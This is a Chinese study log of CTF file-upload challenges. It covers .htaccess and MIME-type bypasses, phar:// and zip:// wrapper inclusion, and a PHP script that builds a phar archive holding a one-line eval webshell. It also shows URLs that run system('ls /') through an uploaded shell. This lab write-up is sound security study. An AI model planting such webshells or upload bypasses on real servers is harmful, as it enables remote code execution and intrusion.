刷题学习记录(文件上传)

[GXYCTF 2019]BabyUpload

知识点:文件上传+.htaccess+MIME绕过

题目直接给题目标签提示文件上传的类型

思路:先上传.htaccess文件,在上传木马文件,最后蚁剑连接

上传.htaccess文件

再上传一个没有<?的shell

但是要把image/png 改成image/jpeg,不然会被拦截过滤

蚁剑连接

找到flag

[NISACTF 2022]bingdundun~

知识点:文件上传+PHP伪协议+phar

环境只能上传图片或压缩包

上传一个图片马,上传成功了但是蚁剑返回的数据为空

抓包看一下,文件类型和上一题的一样,但是上传还是成功了,问题就是蚁剑连接没有数据

改文件类型,结果还是一样

看了wp之后才知道要上传phar文件

<?php
    $phar = new Phar("exp.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); 
    $phar->stopBuffering();
?>

生成了exp.phar,里面的test.php里就写了一句话木马(defender报毒警告)

这个冰墩墩有点挑,只喜欢压缩包和图片,用zip处理

将exp.phar重命名为exp.zip,上传成功

然后你需要观察,可以看到在打开靶机后,有个upload超链接,点进去发现url加上了一个参数"bingdundun",如下:

http://1.14.71.254:xxxxx/?bingdundun=upload

传参

http://1.14.71.254:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/67

然后就是进行蚁剑连接,但是一直返回数据为空

如果直接上传木马的压缩包,会直接报毒,最好就是改后缀上传

别人的wp

但是到我这就会一直连不上蚁剑,页面的回显还一直是index.php

所以到这我有点疑惑

笔记

phar://

环境:可上传png、zip

首先写一个一句话木马shell.php接着压缩成zip文件。上传文件后使用shell工具进行连接。

http://localhost/?url=phar://uploads/63e93ffe53f03e93bb0a0249152d243874e31c9b.zip/shell

zip://

环境:可上传png、zip

首先写一个一句话木马shell.php接着压缩成zip文件。直接上传zip文件,然后使用shell工具进行连接。

http://localhost/?url=zip:///var/www/html/upload/892e38cea0c47c744ecc60ccacc94c23.zip%23shell

PHP 伪协议 phar://

PHP 伪协议 phar:// 是一种用于访问和操作 PHP 归档文件(.phar 文件)的协议。它可以被滥用并导致文件上传漏洞。

当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用此漏洞通过上传一个伪装成图片或其他类型文件的 PHP 代码文件来执行恶意代码。

具体来说,当攻击者上传一个以 phar:// 开头的文件名到服务器时,PHP 在处理该文件时会将其视为一个归档文件并尝试解析。攻击者可以构造恶意的 .phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如 image.png

一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件。这将导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。

使用

当使用 phar:// 伪协议时,PHP 解析引擎会将该协议作为资源封装器来处理,允许访问和操作 .phar 归档文件中的内容。以下是 phar:// 伪协议的一些常见用法:

  1. 访问 .phar 归档文件中的文件:可以通过指定 .phar 文件的路径来访问其中包含的文件。例如,phar://path/to/archive.phar/file.txt 可以访问归档文件 archive.phar 中的 file.txt

  2. 读取 .phar 归档文件中的内容:可以像读取普通文件一样使用 file_get_contents()fopen() 等函数来读取 .phar 归档文件中的内容。

  3. 执行 .phar 归档文件中的代码:可以使用 includerequire 等 PHP 包含文件的函数来执行 .phar 归档文件中的 PHP 代码。这是利用 phar:// 协议进行文件上传漏洞攻击的关键。

[MoeCTF 2022]what are y0u uploading?

知识点:文件上传+特洛伊文件

进入环境简单上传一张图片得到的回显是

一看还规定了上传的文件名

那就重新上传文件,更改文件名

最后得到的回显就是flag

拓展:

特洛伊文件

特洛伊文件(Trojan file)是一种恶意软件文件,通常通过欺骗用户下载和执行来感染计算机系统。它通常伪装成看似无害或有用的文件,并通过破坏计算机系统的安全性来实现攻击。

特洛伊文件得名于古希腊传说中的特洛伊木马,因为它们隐藏在看似无害的文件中,以欺骗用户为手段。

特洛伊文件可以采取多种形式,例如文档、多媒体文件或执行文件等。攻击者可以将其放置在可信任的下载网站或通过恶意附件的方式伪装成电子邮件发送给受害者。当用户下载和运行这些文件时,特洛伊文件就开始感染计算机系统,并且在计算机系统中执行各种恶意活动,如窃取用户敏感信息、控制计算机、损坏数据等。

危害

当特洛伊文件被执行时,它可能会执行以下一些恶意活动:

  1. 后门访问:特洛伊文件可能在受感染的计算机上创建一个后门,使攻击者可以远程访问和控制计算机。这样,攻击者可以执行各种恶意操作,例如窃取信息、安装其他恶意软件、删除文件等。

  2. 信息窃取:特洛伊文件可以用于窃取用户的敏感信息,例如登录凭据、银行账户信息、个人身份信息等。这些信息可以被用于个人利益或进一步的攻击行动。

  3. 键盘记录:某些特洛伊文件可以监视用户的键盘输入,记录敲击的按键,以获取密码和其他敏感信息。

  4. 拒绝服务攻击(DDoS):特洛伊文件可以使受感染的计算机成为一个"僵尸"机器,并与其他被感染的计算机一起发起分布式拒绝服务攻击。这将导致目标服务器过载,无法正常提供服务。

  5. 损坏或删除文件:特洛伊文件可以对系统文件、个人文件或重要数据进行破坏或删除。

[SWPUCTF 2022 新生赛]Ez_upload

知识点:文件上传+.htaccess+MIME绕过

根据题目标签上传**.htaccess**文件

接着上传图片马,跟第一题的上传类型一样,要改文件类型

蚁剑连接成功

但是flag不在flag文件里

看到别人的wp发现flag不在文件中,而是在phpinfo中,但是flag好像被人删了

http://node5.anna.nssctf.cn:28004/upload/9ad9b10d407fbc93c318338c4db0314b/1234.png?cmd=phpinfo();
http://node5.anna.nssctf.cn:28004/upload/9ad9b10d407fbc93c318338c4db0314b/1234.png?cmd=system(%22ls+/%22);
相关推荐
eybk3 小时前
Pytorch+Mumu模拟器+萤石摄像头实现对小孩学习的监控
学习
6.943 小时前
Scala学习记录 递归调用 练习
开发语言·学习·scala
守护者1704 小时前
JAVA学习-练习试用Java实现“使用Arrays.toString方法将数组转换为字符串并打印出来”
java·学习
学会沉淀。5 小时前
Docker学习
java·开发语言·学习
Rinai_R5 小时前
计算机组成原理的学习笔记(7)-- 存储器·其二 容量扩展/多模块存储系统/外存/Cache/虚拟存储器
笔记·物联网·学习
吃着火锅x唱着歌5 小时前
PHP7内核剖析 学习笔记 第四章 内存管理(1)
android·笔记·学习
ragnwang5 小时前
C++ Eigen常见的高级用法 [学习笔记]
c++·笔记·学习
Web阿成6 小时前
3.学习webpack配置 尝试打包ts文件
前端·学习·webpack·typescript
雷神乐乐7 小时前
Spring学习(一)——Sping-XML
java·学习·spring